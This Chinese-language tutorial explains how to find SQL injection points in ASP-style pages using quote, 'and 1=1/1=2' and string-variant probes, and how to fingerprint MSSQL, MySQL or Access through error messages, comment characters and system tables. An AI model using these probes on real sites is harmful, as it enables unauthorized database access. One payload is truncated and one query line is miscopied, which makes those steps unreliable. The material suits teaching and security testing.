网页一般为asp,php,jsp,aspx注入
对于GET型的SQL,语句一般为
select * from 表名 where 字段=YY
YY可为整数型,也可为字符型,因而在执行sql语句时是有很大区别的。
select * from 表名 where 字段=12
select * from 表名 where 字段='abc'
这使得在判断是否存在注入点时,构造的语句也有很大的区别。
注入点的判断:
先输入' 检测,如果'有过滤的话,输入and 1=1 ,and 1=2
1、整型参数的判断
当输入的参数YY为整型时,通常abc.asp中SQL语句原貌大致如下:
select * from 表名 where 字段=YY,所以可以用以下步骤测试SQL注入是否存在。
①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了
select * from 表名 where 字段=YY’ abc.asp运行异常;(比如提示页面不存在)
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=1,
abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
select * from 表名 where
字段=YY and 1=1 abc.asp运行正常
③HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=2, abc.asp运行异常;
select * from 表名 where
字段=YY and 1=1 abc.asp运行异常
如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。
2、字符串型参数的判断
当输入的参数YY为字符串时,通常abc.asp中SQL语句原貌大致如下:
select * from 表名 where 字段='YY',所以可以用以下步骤测试SQL注入是否存在。
①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了
select * from 表名 where 字段=YY',abc.asp运行异常;
②HTTP://xxx.xxx.xxx/abc.asp?p=YY' and '1'='1,
abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;
select * from 表名 where
字段='YY' and '1'='1' abc.asp运行正常;
③HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ...
39;1'='2', abc.asp运行异常;
select * from 表名 where
字段='YY' and '1'='2' abc.asp运行异常;
如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。
数据库类型的判断:
1、可以根据输入非法字符时报的错来判断,有时报错时就暴露了数据库的类型
比如它希望GET的是一个整数型的,你输入一个字符的,那么可能会出错,有时直接输入'报错就暴露了数据库类型
2、有时利用--和#
这两个注释符号也可以大致的确认数据库类型,因为MSSQSL是--,而MYSQL是#,ACCESS不支持注释
HTTP://xxx.xxx.xxx/abc.asp?p=YY-- 异常
HTTP://xxx.xxx.xxx/abc.asp?p=YY# 正常
那么数据库有可能就是MYSQL或者ACCESS
3、利用数据库服务器的系统变量进行区分
SQL-SERVER有user,db_name()等系统变量,利用这些系统值不仅可以判断SQL-SERVER,而且还可以得到大量有用信息。如:
HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0
出错时报的错可能就包含了MSSQL的信息
如:Microsoft OLE DB
Provider for SQL Server error '80040e07'
不仅可以判断是否是SQL-SERVER,而还可以得到当前连接到数据库的用户名
4、利用系统表
ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,在WEB环境下有访问权限。对于以下两条语句:
①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from
sysobjects)>0
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from
msysobjects)>0
若数据库是SQL-SERVER,则第一条,abc.asp一定运行正常,第二条则异常;
若是ACCESS则两条都会异常。